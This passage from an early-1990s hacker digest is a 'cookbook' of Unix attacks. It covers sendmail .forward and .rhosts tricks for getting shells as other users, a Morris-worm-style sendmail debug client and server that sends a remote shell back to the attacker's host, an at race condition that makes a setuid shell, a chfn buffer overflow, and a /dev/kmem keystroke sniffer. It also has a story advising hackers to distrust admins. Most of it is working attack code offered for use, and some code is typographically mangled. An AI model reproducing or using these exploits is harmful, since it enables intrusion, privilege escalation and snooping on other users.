and ypset to it...)
|
||
|
||
ypserv spoofing
|
||
send lots of bogus replies to a request for root's passwd
|
||
entry, while doing something that would generate such a
|
||
request [I'm pretty sure that this is possible, but
|
||
haven't tried it.]
|
||
|
||
AIX
|
||
* password means use root's password?
|
||
|
||
AIX 2.2.1
|
||
shadow password file (/etc/security/passwd) world
|
||
writeable
|
||
|
||
fix - chmod 600...
|
||
|
||
386i login
|
||
fix - nuke logintool, hack on login with adb, chmod 2750
|
||
|
||
ultrix 3.0 login
|
||
login -P progname allows one to run random programs as root.
|
||
fix - chmod 2750.
|
||
|
||
xhost:
|
||
if access access control is disabled any one can connect to
|
||
a X display it is possible and create (forge) and/or
|
||
intercept keystrokes.
|
||
|
||
|
||
|
||
|
||
------------------------------------------------------------------------------
|
||
Comments:
|
||
Q's:
|
||
Biblio:
|
||
CrossRef:
|
||
Code/shRef:
|
||
==============================================================================
|
||
==============================================================================
|
||
war.hax 01.16.00 02/23/92
|
||
------------------------------------------------------------------------------
|
||
DATA:
|
||
|
||
|
||
:: Hacker War Stories ::
|
||
|
||
NOSEY ADMINS
|
||
~~~~~~~~~~~~
|
||
|
||
Two years ago, during Operation Sundevil, I had a legitimate account
|
||
called "Phrack", at the university I attended. I just called it that because,
|
||
I liked the name and the magazine. I did correspond through e-mail with KL&TK,
|
||
and wrote a little bit for Phrack, but it wasn't like an official Phrack
|
||
mailing list. However, this raised some suspicion my many people mearly
|
||
because of the address, "phrack@blah.blah.edu". At my university there was a
|
||
faculty member that thought necessary to peer into my account, read my mail and
|
||
other things. This is how I caught him.
|
||
|
||
I told a friend, that was the administrator of the machine, I had
|
||
noticed some odd things going on with my account. My password was not an
|
||
english word or a name or anything else that was easily cracked by a program
|
||
like Killer Cracker. What we did was we did was created another account for me
|
||
to use while we monitored my "Phrack" account. I used the newly created
|
||
account as I did my old one and told everyone I knew that the other account
|
||
was dead. I also never accessed the "Phrack" account again. As it turns out
|
||
the idiot was using root to get into my account and we quickly saw this in the
|
||
".history" file. On my machine the ".history" file was world readable and
|
||
therefore I didn't have any problems seeing what he did from my new account.
|
||
|
||
|
||
LESSON LEARNED
|
||
~~~~~~~~~~~~~~
|
||
|
||
I'd like to point out that I have never been "busted" by the feds or
|
||
even reprimanded by my school for anything I did on their system. I abused
|
||
the system for about four years with no one batting an eye. I thought that
|
||
a friend of mine and myself were the only hackers on the system. I didn't
|
||
feel the least bit paranoid. I felt too secure as it turns out, even though I
|
||
didn't get caught doing anything I got caught up in a hacker sweep that caused
|
||
a few problems for me. My crime against humanity was this; I left two
|
||
passwords cracking programs in my directory that were found by the admins one
|
||
day.
|
||
|
||
One day the admin got scared when they noticed someone was running
|
||
*TWO* password cracking programs on two different accounts. To this day, I
|
||
have no idea who this person was. Anyway, they went on a hacker witch hunt and
|
||
decided that they should check all accounts for any "unethical software".
|
||
Needless to say I had a few things that matched that category, but I was just
|
||
storing them there, and NEVER ran anything like that on my account. They could
|
||
even see this in their process accounting. So, I got my account revoked
|
||
because I had things in my directory that the admins thought were "potentially
|
||
unethical".
|
||
|
||
I have never had any direct contact with the "net police" until
|
||
then. It was a real shock. I had at this time, no idea that people were
|
||
interested in burying their heads in the sand about computer security.
|
||
I just figured that they "just didn't know" but would probably learn if someone
|
||
would teach them some things. But instead, I learned that people just prefer
|
||
to get scared and hide from people that don't have a piece of paper that
|
||
says they know computer science. I also learned a few other things:
|
||
|
||
1) Always be paranoid of the administrators. Never trust anyone that is an
|
||
admin, unless you've known them for a really long time. (e.g.: since high
|
||
school)
|
||
2) You are guilty until proven innocent. Just because you aren't doing
|
||
anything wrong doesn't mean you're innocent in the eyes of someone looking
|
||
to place the blame.
|
||
3) You are generally not the only hacker on a system. Just because you are
|
||
using precautions when you hack to cover your ass, doesn't mean that some
|
||
other idiot won't fuck things up for you!
|
||
4) Always be paranoid. Even if you have a legitimate account on a machine
|
||
treat it like everybody in the world can see every move you make, because
|
||
sometimes they do! Don't get lazy and say, "well I'll download that
|
||
tomorrow." Tomorrow you could wake up with your account gone.
|
||
5) We live in a network police state.
|
||
------------------------------------------------------------------------------
|
||
Comments:
|
||
Q's:
|
||
Biblio:
|
||
CrossRef:
|
||
Code/shRef:
|
||
==============================================================================
|
||
==============================================================================
|
||
smforwrd.c cookbook.06.00 02/23/92
|
||
------------------------------------------------------------------------------
|
||
DATA:
|
||
|
||
trick for sendmail 5.61
|
||
/*
|
||
* 1) set the #define UID, at the top of the program to be your's
|
||
* 2) create a file: /tmp/.shell, which is a script to make a suid shell
|
||
* 3) compile the program and name it say, /tmp/.magic
|
||
* 4) create a .forward file containing: '|/tmp/.magic'
|
||
* 5) 'telnet yoursystem 25' and send yourself some fakemail from whoever
|
||
* you want a shell from (but not root :-( RATS!)
|
||
* 6) wait abit, it usuallly works ...
|
||
*/
|
||
|
||
#define UID 777 /* change to your uid */
|
||
|
||
#include <sys/param.h>
|
||
#include <sys/types.h>
|
||
#include <stdio.h>
|
||
#include <sysexits.h>
|
||
#include <pwd.h>
|
||
#include <grp.h>
|
||
|
||
#define SHELLFILE "/tmp/.shell"
|
||
|
||
main()
|
||
int myuid, rval;
|
||
|
||
if ((myuid = getuid()) == UID)
|
||
rval = EX_TEMPFAIL;
|
||
else {
|
||
rval = EX_OK;
|
||
system(SHELLFILE);
|
||
}
|
||
exit(rval);
|
||
}
|
||
------------------------------------------------------------------------------
|
||
Comments:
|
||
Q's:
|
||
Biblio:
|
||
CrossRef:
|
||
Code/shRef:
|
||
==============================================================================
|
||
|
||
==============================================================================
|
||
smwrite.c cookbook.06.01 02/06/92
|
||
------------------------------------------------------------------------------
|
||
DATA:
|
||
Using Sendmail to write files
|
||
=============================
|
||
Here is the output from a script(1) that shows how one can convince
|
||
sendmail to write to another users `.rhosts'.
|
||
$ telnet your.friendly.host smtp
|
||
Trying 1.2.3.4 ...
|
||
Connected to your.friendly.host.
|
||
Escape character is '^]'.
|
||
220 your.friendly.host Sendmail 4.0 ready at Sun, 17 Sep 89 03:18:08
|
||
mail from: <hacker@hack.edu>
|
||
250 <hacker@hack.edu>... Sender ok
|
||
rcpt to: /etc/passwd
|
||
554 /etc/passwd... Cannot mail directly to files
|
||
rcpt to: /etc/passwd
|
||
550 /etc/passwd... Addressee unknown
|
||
data
|
||
354 Enter mail, end with "." on a line by itself
|
||
ignore
|
||
.
|
||
250 Mail accepted
|
||
mail from: joeuser
|
||
554 /etc/passwd... Possible alias loop
|
||
rcpt to: /usr/users/joeuser/.rhosts
|
||
250 /usr/users/joeuser/.rhosts... Recipient ok
|
||
data
|
||
503 Need MAIL command
|
||
mail from: joeuser
|
||
250 joeuser... Sender ok
|
||
data
|
||
354 Enter mail, end with "." on a line by itself
|
||
hack.edu hacker
|
||
.
|
||
250 Mail accepted
|
||
quit
|
||
221 your.friendly.host delivering mail
|
||
Connection closed by foreign host.
|
||
$ rsh your.friendly.host -l joeuser sh -i
|
||
------------------------------------------------------------------------------
|
||
Comments:
|
||
Q's:
|
||
Biblio:
|
||
CrossRef:
|
||
Code/shRef:
|
||
==============================================================================
|
||
|
||
==============================================================================
|
||
smwiz.trk cookbook.06.02 02/23/92
|
||
------------------------------------------------------------------------------
|
||
DATA:
|
||
WIZ
|
||
===
|
||
WIZ mode is even more interesting. You just telent to the host of
|
||
your choice, type `wiz' followed by `SHELL' and presto, a root
|
||
shell on that host. This only works on old UNIX systems, but there
|
||
are certainly a few of those lying around.
|
||
------------------------------------------------------------------------------
|
||
Comments:
|
||
Q's:
|
||
Biblio:
|
||
CrossRef:
|
||
Code/shRef:
|
||
==============================================================================
|
||
|
||
==============================================================================
|
||
smdebug.c cookbook.06.03 02/23/92
|
||
------------------------------------------------------------------------------
|
||
DATA:
|
||
Worm
|
||
====
|
||
Here are a client and server process that use the same method that
|
||
Robert T. Morris Jr. used in his Internet worm. It exploits debug
|
||
mode in sendmail.
|
||
|
||
|
||
#include <stdio.h>
|
||
#include <sys/types.h>
|
||
#include <sys/socket.h>
|
||
#include <netinet/in.h>
|
||
#include <netdb.h>
|
||
|
||
/*
|
||
* Worm Client
|
||
*
|
||
*/
|
||
|
||
main(argc, argv)
|
||
int argc;
|
||
char *argv[];
|
||
{
|
||
struct sockaddr_in sin;
|
||
int s;
|
||
char **str, c;
|
||
|
||
if (fork() > 0)
|
||
exit();
|
||
bzero(&sin, sizeof(sin));
|
||
sin.sin_family = AF_INET;
|
||
sin.sin_addr.s_addr = inet_addr(worm_server_addr);
|
||
sin.sin_port = htons(3456);
|
||
|
||
s = socket(AF_INET, SOCK_STREAM, 0);
|
||
if (connect(s, &sin, sizeof(sin)) < 0) {
|
||
perror("no connection");
|
||
exit(1);
|
||
}
|
||
|
||
close(0);
|
||
close(1);
|
||
close(2);
|
||
dup(s, 0);
|
||
dup(s, 1);
|
||
dup(s, 2);
|
||
|
||
printf("Hello, I am worm client!\n");
|
||
fflush(stdout);
|
||
system("/bin/csh");
|
||
fflush(stdout);
|
||
close(s);
|
||
}
|
||
|
||
#include <stdio.h>
|
||
#include <sys/types.h>
|
||
#include <sys/socket.h>
|
||
#include <netinet/in.h>
|
||
#include <netdb.h>
|
||
|
||
char *worm_head[] = {
|
||
"debug",
|
||
"mail from: </dev/null>",
|
||
"rcpt to: <\"|sed -e '1,/^$/'d | /bin/sh ; exit 0\">",
|
||
"data",
|
||
"",
|
||
"cd /usr/tmp",
|
||
"rm -rf sendmail.c sendmail.o sendmail",
|
||
"cat > sendmail.c << 'EOF'",
|
||
0
|
||
};
|
||
|
||
char *worm_tail[] = {
|
||
"EOF",
|
||
"",
|
||
"cc -o sendmail sendmail.c; rm -rf sendmail.c ; ./sendmail ;rm -rf sendmail",
|
||
"",
|
||
".",
|
||
"quit",
|
||
0
|
||
};
|
||
|
||
main(argc, argv)
|
||
int argc;
|
||
char *argv[];
|
||
{
|
||
struct sockaddr_in sin;
|
||
int s;
|
||
char **str, c;
|
||
int from_worm_client;
|
||
|
||
if (argc != 2) {
|
||
fprintf(stderr, "%s conanical-IP-address\n", argv[0]);
|
||
exit(1);
|
||
}
|
||
|
||
from_worm_client = worm_server_set();
|
||
|
||
bzero(&sin, sizeof(sin));
|
||
sin.sin_family = AF_INET;
|
||
sin.sin_addr.s_addr = inet_addr(argv[1]);
|
||
sin.sin_port = htons(25);
|
||
|
||
s = socket(AF_INET, SOCK_STREAM, 0);
|
||
if (connect(s, &sin, sizeof(sin)) < 0) {
|
||
perror("no connection");
|
||
exit(1);
|
||
}
|
||
|
||
close(1);
|
||
dup(s, 1);
|
||
|
||
str = worm_head;
|
||
while (*str)
|
||
printf("%s\r\n", *str++);
|
||
|
||
put_server_host_addr();
|
||
|
||
put_main_worm_body();
|
||
|
||
str = worm_tail;
|
||
while (*str)
|
||
printf("%s\r\n", *str++);
|
||
|
||
fflush(stdout);
|
||
close(s);
|
||
|
||
worm_server_get(from_worm_client);
|
||
}
|
||
|
||
put_server_host_addr()
|
||
{
|
||
struct hostent *hp;
|
||
char hostname[BUFSIZ];
|
||
|
||
gethostname(hostname, BUFSIZ);
|
||
hp = gethostbyname(hostname);
|
||
printf("char *worm_server_addr = \"");
|
||
|
||
while (hp->h_length) {
|
||
hp->h_length--;
|
||
printf("%d", (int) (*hp->h_addr++));
|
||
if (hp->h_length)
|
||
printf(".");
|
||
}
|
||
|
||
printf("\";\r\n");
|
||
}
|
||
|
||
put_main_worm_body()
|
||
{
|
||
FILE *worm_client;
|
||
char *c, buf[BUFSIZ];
|
||
|
||
worm_client = fopen(WORM_CLIENT_SRC, "r");
|
||
|
||
if (worm_client == NULL) {
|
||
perror("no worm client src");
|
||
exit(1);
|
||
}
|
||
|
||
while (fgets(buf, BUFSIZ, worm_client) != NULL) {
|
||
c = buf;
|
||
while (*c && *c != '\n')
|
||
printf("%c", *c++);(*c++);
|
||
printf("\r\n");
|
||
}
|
||
|
||
fclose(worm_client);
|
||
}
|
||
|
||
worm_server_set()
|
||
{
|
||
struct sockaddr_in sin;
|
||
int s;
|
||
char **str, c;
|
||
|
||
bzero(&sin, sizeof(sin));
|
||
sin.sin_family = AF_INET;
|
||
sin.sin_addr.s_addr = INADDR_ANY;
|
||
sin.sin_port = htons(3456);
|
||
|
||
s = socket(AF_INET, SOCK_STREAM, 0);
|
||
if (bind(s, &sin, sizeof(sin)) < 0) {
|
||
perror("no bind");
|
||
exit(1);
|
||
}
|
||
|
||
if (listen(s, 5) == -1) {
|
||
perror("no listen");
|
||
exit(1);
|
||
}
|
||
|
||
return s;
|
||
}
|
||
|
||
worm_server_get(s)
|
||
int s;
|
||
{
|
||
char buf[BUFSIZ];
|
||
int f, fromlen;
|
||
struct sockaddr_in from;
|
||
int pid;
|
||
|
||
fromlen = sizeof(from);
|
||
f = accept(s, &from, &fromlen);
|
||
|
||
if (f < 0) {
|
||
perror("no accept");
|
||
exit(1);
|
||
}
|
||
|
||
close(1);
|
||
dup(f, 1);
|
||
|
||
pid = fork();
|
||
|
||
if (pid == 0)
|
||
for (;;) {
|
||
if ((fromlen = read(f, buf, BUFSIZ)) <= 0)
|
||
exit(1);
|
||
write(2, buf, fromlen);
|
||
fflush(stderr);
|
||
}
|
||
else {
|
||
for (;;) {
|
||
fprintf(stderr, "ready: ");
|
||
if (fgets(buf, BUFSIZ, stdin) == NULL) {
|
||
puts("exit\n");
|
||
puts("logout\n");
|
||
fflush(stdout);
|
||
kill(pid, 9);
|
||
break;
|
||
} else {
|
||
puts(buf);
|
||
fflush(stdout);
|
||
}
|
||
}
|
||
}
|
||
|
||
close(f);
|
||
close(s);
|
||
}
|
||
|
||
|
||
------------------------------------------------------------------------------
|
||
Comments:
|
||
Q's:
|
||
Biblio:
|
||
CrossRef:
|
||
Code/shRef:
|
||
==============================================================================
|
||
|
||
==============================================================================
|
||
sploit.c cookbook.06.04 02/23/92
|
||
------------------------------------------------------------------------------
|
||
DATA:
|
||
local comprimise
|
||
================
|
||
Save the following program as "sploit.c" changing MYUID to your user id.
|
||
Compile "sploit.c" producing the executable "sploit" in your home
|
||
directory. Create a ".forward" file containing:
|
||
\<user>, "|<path>/sploit"
|
||
[change <user> to your username so you dont lose mail (unless, of
|
||
course, you'd rather lose mail) and set <path> to your home directory
|
||
path (where sploit lives)] Now, as another user, send yourself some
|
||
mail. Note that the sploit program defers delivery the first time thru;
|
||
check out "/tmp/whoami" to see that sploit ran as you. Now, run your
|
||
mail queue (or open a beer and wait for sendmail to run it). After the
|
||
queue run, note that the sploit accepted the letter and returned a
|
||
successful exit status; check out "/tmp/whoami" again to see that this
|
||
time, sploit ran as the sender! You can also use "sploit.c" to test for
|
||
the root initgroups() hole by checking the group list when "sploit" was
|
||
first called.
|
||
|
||
#include <sys/param.h>
|
||
#include <sys/types.h>
|
||
#include <stdio.h>
|
||
#include <sysexits.h>
|
||
#include <pwd.h>
|
||
#include <grp.h>
|
||
|
||
#define MYUID 777 /* your uid (i.e. your ".forward" invokes this) */
|
||
|
||
#definegetuser(uid)getpwuid(uid)->pw_name/* assume valid uid */
|
||
#definegetgrp(gid)getgrgid(gid)->gr_name/* assume valid gid */
|
||
|
||
main()
|
||
{
|
||
FILE *fp;
|
||
uid_t myuid;
|
||
int i, rval, ngrps, grplst[NGROUPS];
|
||
|
||
if ((myuid = getuid()) == MYUID)
|
||
rval = EX_TEMPFAIL;
|
||
else
|
||
rval = EX_OK;
|
||
|
||
if ((fp = fopen("/tmp/whoami", "a")) != NULL) {
|
||
|
||
/* real user/group ids */
|
||
fprintf(fp, "%susr:%s grp:%s",
|
||
(rval == EX_OK)? "": "Def> ",
|
||
getuser(myuid), getgrp(getgid()));
|
||
|
||
/* effective user/group ids */
|
||
fprintf(fp, " eusr:%s egrp:%s",
|
||
getuser(geteuid()), getgrp(getegid()));
|
||
|
||
/* group list */
|
||
if ((ngrps = getgroups(NGROUPS, grplst)) > 0) {
|
||
fprintf(fp, " grps:");
|
||
for (i = 0; i < ngrps; i++)
|
||
fprintf(fp, " %s", getgrp(grplst[i]));
|
||
}
|
||
fprintf(fp, "\n");
|
||
|
||
(void) fclose(fp);
|
||
}
|
||
|
||
exit(rval);
|
||
}
|
||
|
||
------------------------------------------------------------------------------
|
||
Comments:
|
||
Q's:
|
||
Biblio:
|
||
CrossRef:
|
||
Code/shRef:
|
||
==============================================================================
|
||
==============================================================================
|
||
at_race.c cookbook.12.00 02/23/92
|
||
------------------------------------------------------------------------------
|
||
DATA:
|
||
AT race condition
|
||
=================
|
||
This will fight `at' for gaining root status. It uses a system
|
||
race condition so it is in a reliable way to break into a system, but it
|
||
will certainly work in time.
|
||
|
||
#include<sys/time.h>
|
||
#include<sys/wait.h>
|
||
#include<stdio.h>
|
||
|
||
#defineATSIZE512
|
||
|
||
charAtdir[] = "/usr/spool/at";
|
||
|
||
charAtformat[] = "\
|
||
# owner: root\n\
|
||
# jobname: chkfpd\n\
|
||
# shell: sh\n\
|
||
# notify by mail: no\n\
|
||
\n\
|
||
exec 2>&-\n\
|
||
/bin/echo '#! /bin/sh' > /tmp/-\n\
|
||
/bin/chmod 6711 /tmp/-\n\
|
||
exit 0\n\
|
||
\n";
|
||
|
||
char*env[] = {
|
||
0
|
||
};
|
||
|
||
intpid;
|
||
|
||
|
||
main()
|
||
{
|
||
charatfile[ATSIZE], buf[5];
|
||
intfd;
|
||
FILE*fp;
|
||
structtm*tp, *getnowtime();
|
||
voidmakeatfile(), maketime();
|
||
|
||
|
||
maketime(tp = getnowtime());
|
||
(void) sprintf(buf, "%02d%02d", tp->tm_hour, tp->tm_min);
|
||
|
||
switch (pid = vfork()) {
|
||
case -1:
|
||
perror("fork");
|
||
exit(1);
|
||
case 0:
|
||
(void) nice(19);
|
||
(void) umask(0);
|
||
(void) execle("/usr/bin/at", "at", "-s", buf,
|
||
"/dev/null", (char *) 0, env);
|
||
perror("at");
|
||
_exit(1);
|
||
}
|
||
|
||
makeatfile(atfile, tp);
|
||
|
||
while ((fd = open(atfile, 1)) < 0)
|
||
;
|
||
|
||
printf("OK: ");
|
||
(void) fflush(stdout);
|
||
|
||
(void) wait((union wait *) 0);
|
||
|
||
fp = fdopen(fd, "w");
|
||
fprintf(fp, Atformat);
|
||
(void) fclose(fp);
|
||
|
||
printf("%s\n", buf);/* the time of the atrun */
|
||
exit(0);
|
||
}
|
||
|
||
/*
|
||
* the following routines were stolen and adapted from at.c
|
||
*/
|
||
|
||
structtm*getnowtime()
|
||
{
|
||
structtimevaltime;
|
||
structtm*localtime();
|
||
|
||
|
||
if (gettimeofday(&time, (struct timezone *) 0) < 0) {
|
||
perror("gettimeofday");
|
||
exit(1);
|
||
}
|
||
return localtime(&time.tv_sec);
|
||
}
|
||
|
||
|
||
voidmaketime(tp)
|
||
structtm*tp;
|
||
{
|
||
intmin;
|
||
|
||
|
||
if ((min = tp->tm_min) < 29)/* at least 1 minute gap */
|
||
tp->tm_min = min < 14 ? 15 : 30;
|
||
else
|
||
if (min < 44)
|
||
tp->tm_min = 45;
|
||
else {
|
||
tp->tm_min = 0;
|
||
if (++tp->tm_hour >= 24) {
|
||
tp->tm_hour = 0;
|
||
if (++tp->tm_yday >= (tp->tm_year & 03 ? 365 : 366)) {
|
||
tp->tm_yday = 0;
|
||
++tp->tm_year;/* no check */
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
|
||
voidmakeatfile(atfile, tp)
|
||
char*atfile;
|
||
structtm*tp;
|
||
{
|
||
inti;
|
||
|
||
|
||
for (i = 0; ; i += 53) {
|
||
(void) sprintf(atfile, "%s/%02d.%03d.%02d%02d.%02d", Atdir,
|
||
tp->tm_year, tp->tm_yday, tp->tm_hour, tp->tm_min,
|
||
(pid + i) % 100);
|
||
|
||
/*
|
||
* Make sure that the file name that we've created is unique.
|
||
*/
|
||
|
||
if (access(atfile, 0) == -1)
|
||
return;
|
||
}
|
||
}
|
||
------------------------------------------------------------------------------
|
||
Comments:
|
||
=================
|
||
SVR.0 to SVR3.2
|
||
=================
|
||
|
||
Several at(1)s have an extremely nasty bug. Cron(1) which run atjobs runs
|
||
setuid to root. Normally the atjobs are stored in /usr/spool/cron/atjobs.
|
||
There it creates a file owned by the atjob submitter. On many systems
|
||
/usr/spool/cron/atjobs is mode drwxr-xr-x and allows a normal user to
|
||
chdir(2) to that directory. Many System V crons determine what uid to run
|
||
the atjob by the file's owner. Breaking security can be as simple as cding
|
||
to cron and change the owner of an atjob you submitted to root.
|
||
Alternatively, an atjob that submits another atjob on some systems
|
||
will run as root (I don't know why).
|
||
|
||
Q's:
|
||
Biblio:
|
||
CrossRef:
|
||
Code/shRef:
|
||
==============================================================================
|
||
|
||
==============================================================================
|
||
chfn.sh cookbook.12.00 02/23/92
|
||
------------------------------------------------------------------------------
|
||
DATA:
|
||
chfn
|
||
====
|
||
The change finger information facility has a buffer overflow condition
|
||
that can be exploited in the following manner. First is a `csh'
|
||
script to insure that backups are made and everything is run in order.
|
||
The second script is edited due to the number of characters required to
|
||
overflow the buffer.
|
||
|
||
Script One
|
||
#!/bin/csh -f
|
||
#
|
||
date
|
||
echo ""
|
||
echo "grep for gretzky in /etc/passwd"
|
||
grep gretzky /etc/passwd
|
||
echo ""
|
||
echo "Making a copy of the password file ..."
|
||
cp /etc/passwd etc.passwd
|
||
echo "Running the chfn in a script (sh) ..."
|
||
sh chfn.test
|
||
echo ""
|
||
echo "... finished"
|
||
echo ""
|
||
echo "grep for gretzky in /etc/passwd again"
|
||
grep gretzky /etc/passwd
|
||
echo ""
|
||
echo "NOW grep for aaa in /etc/passwd"
|
||
grep aaa /etc/passwd
|
||
echo ""
|
||
echo " Gotcha! "
|
||
echo ""
|
||
date
|
||
echo ""
|
||
|
||
The second script
|
||
|
||
#!/bin/sh
|
||
#
|
||
# The number of letters (a, b, ...) depends on how many fields
|
||
# chfn(1) asks for. Ultrix 2.x is 4, as is BSD4.x while SunOS 3.5 is 1.
|
||
#
|
||
/bin/chfn <<eof
|
||
[ 1023 a's ]
|
||
[ 1023 b's ]
|
||
[ 1023 0's ]
|
||
none
|
||
eof
|
||
/bin/chfn <<eof
|
||
[ 1023 a's ]
|
||
[ 1023 b's ]
|
||
[ 1023 0's ]
|
||
none
|
||
eof
|
||
|
||
/bin/chfn <<eof
|
||
none
|
||
none
|
||
none
|
||
none
|
||
eof
|
||
------------------------------------------------------------------------------
|
||
Comments:
|
||
Q's:
|
||
Biblio:
|
||
CrossRef:
|
||
Code/shRef:
|
||
==============================================================================
|
||
|
||
==============================================================================
|
||
vmunix.c cookbook.13.00 02/23/92
|
||
------------------------------------------------------------------------------
|
||
DATA:
|
||
/vmunix
|
||
=======
|
||
On many systems, the kernel is world readable as is the file/device
|
||
`/dev/mem'. Code to read the kernel is quite easy to write, here
|
||
is an example that will work on a Vax 11/780 and a Sun 3/180.
|
||
|
||
#include <stdio.h>
|
||
#include <sys/ttyio.h>
|
||
#include <sys/param.h>
|
||
#include <sys/clist.h>
|
||
#include <sys/tty.h>
|
||
#include <nlist.h>
|
||
#include <ctype.h>
|
||
|
||
#define NDZ 1 /* DZ's and DH's have to be mapped into */
|
||
#define NDH 2 /* your own hardware */
|
||
#define NPT 2 /* number of pty controllers */
|
||
#define DZ11 1 /* major device number of the dz11 */
|
||
#define DH11 33 /* major device number of the dh11 */
|
||
#define PTY 20 /* major device number of the ptys */
|
||
#define DZ_X 8 /* eight lines per dz11 */
|
||
#define DH_X 16 /* sixteen lines per dh11 */
|
||
#define PT_X 16 /* sixteen lines per pty controller */
|
||
#undef major() /* need to do this because of kernel */
|
||
#undef minor() /* macros used to strip off device #'s */
|
||
|
||
static struct nlist nl[2];
|
||
|
||
static char *name_list[] = {
|
||
"_dz_tty", /* base address of the dz tty structures*/
|
||
"_dhu11" , /* same for the dh's */
|
||
"_pt_tty", /* pseudo-ttys */
|
||
0
|
||
};
|
||
|
||
main(argc , argv)
|
||
char **argv;
|
||
int argc;
|
||
{
|
||
/********************************/
|
||
int major; /* place to hold major # */
|
||
int minor; /* place to hold minor # */
|
||
int board_type; /* tells me which kind of tty */
|
||
int fd; /* fd for memory */
|
||
long offset; /* how far into the above tables*/
|
||
struct tty ttyb; /* place to put the tty buffer */
|
||
extern char *calloc(); /* our friend calloc */
|
||
|
||
get_args(&major , &minor , argc , argv);
|
||
check_args(major , minor , &board_type , argv);
|
||
get_name_list(board_type , argv);
|
||
open_memory(&fd , argv);
|
||
{
|
||
char *p; /* blank out argument list */
|
||
|
||
for (p = argv[1]; *p != '\0'; p++) *p = '\0';
|
||
for (p = argv[2]; *p != '\0'; p++) *p = '\0';
|
||
}
|
||
offset = minor * sizeof(struct tty);
|
||
fflush(stdout);
|
||
fflush(stdout);
|
||
while (1) {
|
||
read_tty(fd , nl[0].n_value , offset , &ttyb);
|
||
get_clist(fd , &ttyb.t_nu.t_t.T_rawq);
|
||
}
|
||
}
|
||
|
||
/**
|
||
*** Much monkeying around was done before I settled on this
|
||
*** procedure. I attempted to follow the c_next pointers in
|
||
*** the individual cblocks. This is friutless since by the
|
||
*** time we do the second seek and read the information has
|
||
*** been whisked away.
|
||
***
|
||
*** So - The LIMITATIONS of this routine are:
|
||
***
|
||
*** cannot read from any tty in RAW mode
|
||
*** can only snarf first 28 characters (ie
|
||
*** the first cblock)
|
||
***
|
||
*** Nice things about this routine:
|
||
***
|
||
*** only NEW characters are echoed to the output
|
||
*** (eg characters in the cblock which have been
|
||
*** seen before are swallowed).
|
||
**/
|
||
|
||
get_clist(fd , cl)
|
||
register struct clist *cl;
|
||
{
|
||
static char c[CBSIZE];
|
||
static char *old_start = 0 , *old_finish = 0;
|
||
static int old_i = 0;
|
||
char *pntr;
|
||
int tn , in;
|
||
|
||
if ((cl->c_cc > 0) &&
|
||
((old_start != cl->c_cf) || (old_finish != cl->c_cl))) {
|
||
pntr = c;
|
||
lseek(fd , (long) cl->c_cf , 0);
|
||
read(fd , c ,(tn=in=cl->c_cc > CBSIZE ? CBSIZE : cl->c_cc));
|
||
if (old_start == cl->c_cf) {
|
||
in -= old_i;
|
||
pntr += old_i;
|
||
}
|
||
if (in > 0) while (in--) putchar(*(pntr++));
|
||
else if (in < 0) while (in++) putchar('\010');
|
||
fflush(stdout);
|
||
old_i = tn;
|
||
old_start = cl->c_cf;
|
||
old_finish = cl->c_cl;
|
||
}
|
||
if (cl->c_cc <= 0) {
|
||
if (old_i != 0) putchar('\n');
|
||
old_i = (int) NULL;
|
||
old_start = old_finish = NULL;
|
||
}
|
||
}
|
||
|
||
read_tty(fd , base , offset , buffer)
|
||
long base , offset;
|
||
register struct tty *buffer;
|
||
{
|
||
register int i;
|
||
|
||
lseek(fd , base + offset , 0);
|
||
i = read(fd , buffer , sizeof(struct tty));
|
||
if (i != sizeof(struct tty)) {
|
||
printf("unexpected return from read\n");
|
||
printf("should have been %d\n" , sizeof(struct tty));
|
||
printf("was %d\n" , i);
|
||
exit(0);
|
||
}
|
||
}
|
||
|
||
open_memory(fd , argv)
|
||
int *fd;
|
||
char **argv;
|
||
{
|
||
if ((*fd = open("/dev/kmem" , 0)) < 0) {
|
||
perror(argv[0]);
|
||
exit(0);
|
||
}
|
||
}
|
||
|
||
get_name_list(index,argv)
|
||
int index;
|
||
char **argv;
|
||
{
|
||
nl[0].n_name = name_list[index];
|
||
nlist("/vmunix" , nl);
|
||
if (! nl[0].n_type) {
|
||
printf("%s: couldn't get name list\n" , argv[0]);
|
||
exit(0);
|
||
}
|
||
printf("%s starts at %08x\n" , nl[0].n_name , nl[0].n_value);
|
||
}
|
||
|
||
get_args(major , minor , argc , argv)
|
||
int *major , *minor , argc;
|
||
char **argv;
|
||
{
|
||
if (argc != 3) {
|
||
fprintf(stderr,"usage: %s major_dev minor_dev \n" , argv[0]);
|
||
exit(0);
|
||
}
|
||
*major = atoi(argv[1]);
|
||
*minor = atoi(argv[2]);
|
||
printf("Major Device: %d -- Minor Device: %d\n" , *major , *minor);
|
||
}
|
||
|
||
check_args(major , minor , board , argv)
|
||
char **argv;
|
||
int *board;
|
||
{
|
||
if (minor < 0) {
|
||
bad_minor: printf("%s: bad minor device number\n" , argv[0]);
|
||
exit(0);
|
||
}
|
||
switch (major) {
|
||
|
||
case DZ11:
|
||
if (minor >= NDZ * DZ_X) goto bad_minor;
|
||
printf("DZ11 - Unit %d\n" , minor / DZ_X);
|
||
*board = 0;
|
||
break;
|
||
|
||
case DH11:
|
||
if (minor >= NDH * DH_X) goto bad_minor;
|
||
printf("DH11 - Unit %d\n" , minor / DH_X);
|
||
*board = 1;
|
||
break;
|
||
|
||
case PTY:
|
||
if (minor >= NPT * PT_X) goto bad_minor;
|
||
printf("PTY - Unit %d\n" , minor / PT_X);
|
||
*board = 2;
|
||
break;
|
||
|
||
default:
|
||
printf("%s: bad major device number\n" , argv[0]);
|
||
exit(0);
|
||
}
|
||
}
|
||
------------------------------------------------------------------------------
|
||
Comments:
|
||
Q's:
|
||
Biblio:
|
||
CrossRef:
|
||
Code/shRef:
|
||
==============================================================================
|
||
|
||
BoreD Security Digest Issue 4
|
||
|
||
Toooo sexy for CORE
|
||
You're NOT dealing with AT&T!!!
|
||
|
||
The unix BoreD security mailing list is by invitation only and contains
|
||
sensitive material which SHOULD NOT BE REVEALED to non-members.
|
||
DO NOT PUT ANY LIST CONTENTS IN LOCATIONS ACCESSABLE TO NON-MEMBERS.
|
||
If you must keep copies on-line, please encrypt them at the very least.
|
||
|
||
PLEASE POST TO: infohax@stormking.com
|
||
PLEASE SEND EMERGENCY ALERTS TO: infohax-emergency@stormking.com
|
||
PLEASE SEND REQUESTS TO: infohax-request@stormking.com
|
||
|
||
|
||
SPECIAL TTY/PTY ISSUE
|
||
|
||
But, seriously. First things first. This newsletter does not
|
||
condone any action that is illegal (much less immoral). What you do in
|
||
your spare time is your business and not ours. Some of the material
|
||
